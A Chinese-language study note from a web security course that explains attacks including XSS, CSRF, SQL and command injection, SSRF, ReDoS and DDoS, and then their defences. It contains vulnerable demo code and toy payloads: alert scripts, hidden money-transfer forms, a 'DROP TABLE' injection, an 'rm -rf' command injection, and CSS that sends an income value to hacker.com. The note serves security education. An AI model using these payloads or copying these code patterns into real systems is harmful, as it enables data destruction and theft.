前言
这是我参与「第五届青训营」伴学笔记创作活动的第 11 天,相信大家对网络安全一词,肯定不陌生,今天我们要讲的是关于web 安全,比如别人通过技术手段将你的账号密码给窃取,这就是网络安全需要去避免的
Web 安全一窥
安全问题“很常见”,会危害
- 用户
- 公司
- 程序员 (祭天)
很遗憾,这个[免费变强口] 的功能下线了
两个角度看 web 安全
- 假如你是一个 hacker -- 攻击
- 假如你是一个开发者 -- 防御
攻击篇
Cross-Site Scripting(XSS)
XSS 跨站脚本攻击
XSS 主要利用了
XSS 的一些特点
XSS demo
public async submit(ctx) {
const { content, id } = ctx.requeset.body;
// 没有对content 过滤
await db.save({
content,
id
})
}
public async submit(ctx) {
const { content } = await db.quer({
id: ctx.query.id
})
// 没有对content 过滤
ctx.body = `<div>${content}</div>`
}
!!可以直接提交恶意脚本
// 提交时候
fetch( "/submit",{
body: JSON.stringify({
id:"1",
content:`<script>alert("xss");</script>`
});
});
ctx.body = `
<div>
<script>alert("xss");</script>
</div>
`
随便去个浏览器试一下,发现不行
Stored XSS
Reflected XSS
Reflected XSS Demo
host/path/?param=<script>alert('123')</script>
public async render(ctx) {
const { param } = ctx.query;
ctx.status = 200;
ctx.body = `<div>${param}</div>`;
}
DOM-based XSS
DOM-based XSS Demo
host/path/?param=<script>alert('123')</script>
const content = new URL(location.href).searchParams.get('param');
const div = document.createElement('div')
// 恶意脚本注入
div.innerHTML = content;
document.body.append(div);
试了一下,url并没有携带param变量
Reflected vs DOM-based
完成注入脚本的地方
Mutation-based XSS
没人比我更懂浏览器
<noscript><p title="</noscript>
<img src=x onerror=alert(1)>
>">
过滤工具:平平无奇的 title 属性
<div>
<noscript><p title="</noscript>
<img src="x" onerror="alert(1)">
"">"
</div>
也是没有效果
Cross-site request forgery(CSRF)
CSRF demo
- 用户没有访问银行页面
- 银行页面中的特定接口被请求
- 请求执行成功
有 cookie 的请求 === 合法用户的请求
伪造请求,伪造接口
CSRF--GET
<a href="https://bank.com/transfer?to=hacker&amount=100">点我抽奖</a>
<!-- 确实中奖了 -->
<img style="display:none;" src="https://bank.com/transfer?to=hacker&amount=100"/>
CSRF--beyond GET
<form action="https://bank/transfer_tons_of_money" method="POST">
<input name="amount" value="1000000000000" type="hidden"/>
<input name="to" value="hacker!type="hidden" />
</form>
常见伪造请求就是
GET请求
Injection
SQL Injection
假如有个
HTTP,sql参数在请求上带入,然后这段请求代入,达到了服务器端,从HTTP去读参数,构造出sql语句,然后去运行这个sql代码,这段代码被执行后,也是被恶意的注入,结果导致攻击者其他数据能够修改数据,甚至删除等等
Injection demo 1
- 读取请求字段
- 直接以字符串的形式拼接
SQL语句
public async renderForm(ctx) {
const { username, form_id } = ctx.query;
const result = await sql.query(`
SELECT a,b,c FROM table
WHERE username = ${username}
AND form_id = ${form_id}
`);
ctx.body =nrenderForm( result);
}
fetch("/api",{
method:"POST",
headers: {
"Content-Type": "applicaiton/json"
},
body: JSON.stringify({
username: "any; DROP TABLE table;",
})
})
SELECT XXX FROM XXX; DROP TABLE table;
被动删库跑路成就达成
Injection 不止于 SQL
- CLI
- OS command
- Server-Side Request Forgery(SSRF), 服务端伪造请求
- 严格而言,SSRF 不是 injection,但是原理类似
lnjection demo 2-一执行
public async renderForm(ctx) {
const { video, options } = ctx.request.body;
exec('convert-cli ${video} -o ${options}`);
ctx.body = "ok";
}
fetch("/api",{
method:"POST",
body: JSON.stringify({options:`' && rm -rf xxx`
})
});
const command = `convert-cli video - o && rm -rf xxx`
Injection demo 2--读取 + 修改
location / {
proxy_pass https://hacker.com;
}
- 流量转发到真实第三方
- 第三方扛不住新增流量
- 第三方服务挂掉
- 您的竞争对手已下线
SSRF demo
- 请求[用户自定义]的 callback URL
- web server 通常有内网访问权限
public async webpack(ctx) {
// callback 可能是内网 url
// e.g http://secret.com/get_employ_payrolls
ctx.body = await fetch(ctx.query.callback);
}
访问callback === 暴露内网信息
Denial of Service(DoS)
通过某种方式 (构造特定请求),导致服务器资源被显著消耗,来不及响应更多请求,导致请求挤压,进而雪崩效应
插播: 正则表达式一一贪婪模式
重复匹配时 r?] vs Tno ?]:满足“一个“即可 vs 尽量多
const greedyRegExp =/a+/; // 有多少匹配多少
const nonGreedyRegExp = /a+?/; 有一个就行
const str = 'aaaaaa';
console.log(str.match(greedyRegExp)[0]); // 'aaaaaa'
console.log(str.match(nonGreedyRegExp)[0]); // 'a'
ReDoS: 基于正则表达式的 DoS
贪婪:n 次不行? n - 1 次再试试? --回溯
- 响应时间 ↑↑
- 接口吞吐量 ↓↓
Logical DoS
- 耗时的同步操作
- 数据库写入
- SQL join文件备份
- 循环执行逻辑
Logical DoS Demo
Distributed DoS(DDoS)
短时间内,来自大量僵尸设备的请求流量,服务器不能及时完成全部请求,导致请求堆积,进而雪崩效应,无法响应新请求
[不搞复杂的,量大就完事儿了]
DDos
攻击特点
- 直接访问IP
- 任意API消耗大量带宽(耗尽)
DDoS demo
SYN Flood
中间人攻击
- 明文传输
- 信息篡改不可知
- 对方身份未验证
所以才有 https 的
SSL,TLS这样的安全传输层
防御篇
XSS
- 永远不信任用户的提交内容 -不要将用户提交内容直接转换成 DOM
XSS一一现成工具
前端
- 主流框架默认防御XSS
- google-closure-library
服务端(Node)
- DOMPurify
XSS一一耗子尾汁
个[用户需求] 不讲武德,必须动态生成 DOM
string -> DOM
上传 svg
<svg>
<script>alert('xss';</script>
</svg>
Blob 动态生成 script
const blob = new Blob(
[script],
{ type: 'text/javascript'},
);
const url = new URL.createObjectURL(blob)
const script = document.createElement('script')
script.src = url;
自定义跳转链接
<a href="javascript:alert('xss')"></a>
自定义样式
收入调查,选中选项时,发送 get 请求,暴露
input[type=radio].income-gt10k:checked {
background: url("https://hacker.com/?income=gt10k")
}
插播: Same-origin Policy
- 协议
- 域名
- 端口
example.com
example.com
sub.example.com
HTTP 请求: 同源,跨域
看服务器的设置
讲到同源,就讲到跨越,通过CROS 配置
Access-Control-Allow-Origin/Headers,或者使用用node的使用代理服务器,或者使用nginx 反向代理
Content Security Policy(CSP)
CSP
- 哪些源(域名)被认为是安全的
- 来自安全源的脚本可以执行,否则直接抛错
- 对 eval + inline script 说 no no
服务器的响应头部
Content-Security-Policy: script-src 'self' // 同源
Content-Security-Policy: script-src 'self' https://domain.com
浏览器 meta
<meta http-equiv="Content-Security-Policy" content="script-src self">
通过设置这些头和设置白名单
CSRF 的防御
if 伪造请求 === 异常来源 then 限制请求来源 -> 限制伪造请求
- Origin
- 同源请求中,GET + HEAD 不发送
- Referer
请求头部同时带上 Origin 和Referer
CSRF--token
除了 Origin + Referrer 其他判断[请求来自于合法来源]的方式
先有页面,后有请求
if(请求来自合法页面)
then (服务器接收过页面请求)
then(服务器可以标识)
- 用户绑定:攻击者也可以是注册用户 === 可以获取自己的 token
- 过期时间: [前向保密]
CSRF--iframe 攻击
攻击者在不知情的用户,诱使用户点击
button,实际上只是触发了攻击者的事件
CSRF anti-pattern
GET !== GET + POST
// 更新获取 逻辑放到同一个 GET 接口
public async getAndUpdate(ctx) {
const { update, id } = ctx.query;
if (update) {
await this .update(update);
}
ctx.body = await this.get(id);
}
避免用户信息被携带: SameSite Cookie
SameSite Cookie
限制的是:
- Cookie domain
- 页面域名
- 依赖 Cookie 的第三方服务怎么办?
- 内嵌一个 X 站播放器,识别不了用户登录态,发不了弹幕
Set-Cookie: SameSite=None; Secure;
SameSite VS CORS
SameSite
- Cookie 发送
- domain vs 页面域名
- "我跟你说个事儿出这屋我可就不认了”
CORS
- 资源读写(HTTP请求)
- 资源域名vs页面域名
- 白名单
SameSite demo
SameSite Cookie
首次导航的限制: 避免敏感操作跳过二次确认,例如[重置密码] 的
锁
Lax 首次导航 OK
防御 CSRF 的正确姿势
Case by case 防御? no
设置一层去专门去防御 CSRF 攻击
Injection
找到项目中查询 SQL 的地方 使用 prepared statement
PREPARE q FROM 'SELECT user FROM users WHERE gender = ?';
SET @gender = 'female';
EXECUTE q USING @gender;
DEALLOCATE PREPARE q;
Injection beyond SQL
- 最小权限原则
- sudo || root
- 建立允许名单 + 过滤
- rm
- 对 URL 类型参数进行协议、域名、ip 等限制
- 访问内网
防御 DoS
Regex DoS
- Code Review(X /(ab*)+/)
- 代码扫描+正则性能测试
- X 用户提供的使用正则
接口禁止使用贪婪写法的正则
Logical DoS
- 不是非黑即白
- 有些case,只有在请求量大到一定之后,才会体现
- 分析代码中的性能瓶颈
- 同步调用
- 串行逻辑
- 缓存?
- CPU密集型操作
- 限流
DDoS
-
流量治理
- 过滤
- 负载均衡
- API网关
- CDN
- 过滤
-
抗量
- 快速自动扩容
- 非核心服务降级
- CDN
传输层一一防御中间人
HTTP3(QUIC)内置了 TLS 1.3
HTTPS 的一些特性
- 可靠性:加密
明文 no - 完整性:MAC验证
篡改 no - 不可抵赖性:数字签名
身份√
此处为 TLS 1.2
HTTPS一一完整性
插播:数字签名
签名执行者
- privateKey (自己藏好)
- publicKey (公开可见)
privateKey + 内容 -封-> signature
publicKey:
你这个 signature,是用的我家那位 privateKey 吗
数学的魅力
HTTPS一一不可抵赖: 数字签名
CA: Certificate Authority证书机构
数字签名在 HTTPS 中的工作
HTTPS一一证书 续
浏览器自己本身会有证书
HTTPS一一证书 demo
成也证书,败也证书
当签名算法不够健壮时:
HTTP Strict-Transport-Security(HSTS
将 HTTP 主动升级到 HTTPS
Subresource Integrity(SRI)
静态资源被劫持篡改?对比 hash
SRI--demo
标签 hash (原始内容 hash)vs 实际内容 hash
<script src="https://example/app.js"
intergrity="sha384-{some-hash-value}"
crossorigin="anonymous"></script>
// 伪代码
const remoteHash = hash(content)
if (tagHash !== remoteHash) {
throw new Error ('wrong hash');
}
通过
intergrity进行hash算法和之后的hash值进行对比,如果两者相同,那就说明资源没被篡改,如果两者值不一样,说明资源被篡改,存在被攻击的风险,可以通过此举,让CDN 的资源没有被篡改
一点点补充内容
Feature Policy/Perission Policy 一个源(页面)下,可以使用哪些功能
- camera
- microphone
- autoplay
<iframe allow="xxx" />
尾声
-
安全无小事
-
使用的依赖(npm package,甚至是 NodeJS) 可能成为最薄弱的一环
-
保持学习心态
!!! npm install 除了带来了黑洞,还可以带来漏洞
推荐读物
网络安全虽然主要还是自己写代码的时候造成的比较多,但还是需要保存好良好的心态,借助一些工具去让这些查出来,或者通过看
web 安全等书籍去加强web 安全意识